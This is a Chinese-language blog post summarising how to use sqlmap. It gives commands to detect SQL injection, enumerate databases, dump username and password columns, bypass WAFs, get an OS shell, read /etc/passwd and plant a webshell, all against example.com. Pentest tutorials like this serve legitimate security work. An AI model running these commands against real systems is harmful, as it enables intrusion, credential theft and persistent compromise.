sqlmap使用手册 作者: ynnddddd 时间: 2025-04-21 分类: 网络安全,渗透工具与命令 以下是 **sqlmap** 工具的常用使用方法总结,适用于快速检测和利用 SQL 注入漏洞: --- ### **1. 安装 sqlmap** - 从 GitHub 克隆仓库: ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git ``` - 或直接使用 Kali Linux 等渗透测试系统(预装)。 --- ### **2. 基本参数** | 参数 | 说明 | |----------------------|----------------------------------------------------------------------| | `-u ` | 指定目标 URL(支持 GET 参数注入点)。 | | `--data=` | 指定 POST 请求的数据(用于 POST 参数注入)。 | | `--method=` | 指定 HTTP 请求方法(如 `GET`、`POST`)。 | | `--cookie=` | 添加 Cookie(用于需要登录的页面)。 | | `--headers=` | 添加自定义请求头(如 `User-Agent`)。 | | `--proxy=` | 通过代理发送请求(如 `http://127.0.0.1:8080`)。 | | `--level=<1-5>` | 测试等级(1-5,默认 1,等级越高检测越全面)。 | | `--risk=<0-3>` | 风险等级(0-3,默认 1,等级越高可能触发更多破坏性操作)。 | --- ### **3. 常用操作** #### **(1) 基本检测** ```bash sqlmap -u "http://example.com/page.php?id=1" ``` - 自动检测 URL 中的参数是否存在 SQL 注入漏洞。 #### **(2) 获取数据库信息** ```bash sqlmap -u "http://example.com/page.php?id=1" --dbs ``` - 列出所有数据库名称。 #### **(3) 获取表名** ```bash sqlmap -u "http://example.com/page.php?id=1" -D --tables ``` - 列出指定数据库中的所有表。 #### **(4) 获取字段名** ```bash sqlmap -u "http://example.com/page.php?id=1" -D -T --columns ``` - 列出指定表中的所有字段。 #### **(5) 导出数据** ```bash sqlmap -u "http://example.com/page.php?id=1" -D -T -C "username,password" --dump ``` - 导出指定表中的数据(如用户名、密码)。 --- ### **4. 高级功能** #### **(1) 绕过 WAF/防火墙** ```bash sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment ``` - 使用 `tamper` 脚本混淆 SQL 语句(如 `space2comment`, `randomcase`)。 #### **(2) 执行操作系统命令** ```bash sqlmap -u "http://example.com/page.php?id=1" --os-shell ``` - 尝试获取操作系统 Shell(需数据库支持,如 MySQL 的 `secure_file_priv` 未启用)。 #### **(3) 读取文件** ```bash sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd" ``` - 读取服务器上的文件(需权限)。 #### **(4) 写入文件(Webshell)** ```bash sqlmap -u "http://example.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" ``` - 上传本地文件到服务器(需写入权限)。 --- ### **5. 实用技巧** #### **(1) 批量检测** ```bash sqlmap -m urls.txt ``` - 从文件 `urls.txt` 中批量检测多个 URL。 #### **(2) 使用 Burp Suite 日志** ```bash sqlmap -l burp.log ``` - 解析 Burp Suite 的代理日志文件,自动检测注入点。 #### **(3) 自动表单填充** ```bash sqlmap -u "http://example.com/login.php" --forms ``` - 自动分析页面表单并测试注入点。 --- ### **6. 注意事项** 1. **合法授权**:仅在获得授权的目标上使用。 2. **备份数据**:操作可能导致数据损坏。 3. **谨慎使用 `--os-shell` 和 `--file-write`**:可能触发安全防护机制。 --- 标签: none